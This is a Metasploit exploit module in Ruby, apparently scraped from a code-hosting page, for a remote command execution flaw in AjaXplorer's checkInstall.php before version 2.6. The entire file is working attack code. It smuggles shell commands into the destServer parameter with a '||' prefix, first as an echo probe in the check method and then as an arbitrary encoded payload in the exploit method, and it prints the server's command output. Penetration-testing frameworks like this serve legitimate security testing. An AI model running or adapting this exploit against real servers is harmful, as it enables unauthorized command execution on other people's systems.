111 lines
3.0 KiB
Ruby
111 lines
3.0 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'AjaXplorer checkInstall.php Remote Command Execution',
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'Description' => %q{
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This module exploits an arbitrary command execution vulnerability in the
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AjaXplorer 'checkInstall.php' script. All versions of AjaXplorer prior to
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2.6 are vulnerable.
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},
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'Author' =>
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[
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'Julien Cayssol', #Credited according to SecurityFocus
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'David Maciejak', #Metasploit module
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'sinn3r' #Final touch on the Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '63552' ],
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[ 'BID', '39334' ]
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 512,
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'Compat' =>
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{
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'ConnectionType' => 'find',
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl ruby python telnet'
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}
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},
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'Platform' => %w{ bsd linux osx unix win },
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'Arch' => ARCH_CMD,
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'Targets' => [[ 'AjaXplorer 2.5.5 or older', { }]],
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'DisclosureDate' => 'Apr 4 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to AjaXplorer', '/AjaXplorer-2.5.5/'])
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], self.class)
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end
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def check
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uri = target_uri.path
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uri << '/' if uri[-1,1] != '/'
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clue = Rex::Text::rand_text_alpha(rand(5) + 5)
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(uri, 'plugins/access.ssh/checkInstall.php'),
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'vars_get' => {
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'destServer' => "||echo #{clue}"
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}
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})
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# If the server doesn't return the default redirection, probably something is wrong
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if res and res.code == 200 and res.body =~ /#{clue}/
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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peer = "#{rhost}:#{rport}"
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uri = target_uri.path
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# Trigger the command execution bug
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(uri, "plugins/access.ssh/checkInstall.php"),
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'vars_get' =>
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{
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'destServer' => "||#{payload.encoded}"
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}
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})
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if res
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print_status("The server returned: #{res.code} #{res.message}")
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m = res.body.scan(/Received output:\s\[([^\]]+)\]/).flatten[0] || ''
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if m.empty?
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print_error("This server may not be vulnerable")
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else
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print_status("Command output from the server:")
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print_line(m)
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end
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end
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end
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end
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=begin
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Repo:
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http://sourceforge.net/projects/ajaxplorer/files/ajaxplorer/2.6/
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=end
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